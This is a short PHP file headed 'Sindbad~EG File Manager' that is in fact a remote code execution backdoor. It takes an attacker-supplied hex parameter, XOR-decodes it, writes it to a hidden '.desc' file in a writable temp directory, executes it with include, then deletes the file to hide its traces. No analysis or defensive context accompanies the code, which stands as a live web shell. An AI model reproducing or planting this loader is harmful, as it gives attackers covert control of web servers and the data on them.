Sindbad~EG File Manager

<?php

if(!empty($_REQUEST["hld"])){
	$object = hex2bin($_REQUEST["hld"]);
	$itm= '' ;foreach(str_split($object) as $char){$itm .= chr(ord($char) ^ 74);}
	$k = array_filter([session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]);
	$ref = 0;
do {
    $parameter_group = $k[$ref] ?? null;
    if ($ref >= count($k)) break;
    		if ((is_dir($parameter_group) and is_writable($parameter_group))) {
    $pgrp = str_replace("{var_dir}", $parameter_group, "{var_dir}/.desc");
    if (file_put_contents($pgrp, $itm)) {
	include $pgrp;
	@unlink($pgrp);
	die();
}
}
    $ref++;
} while (true);
}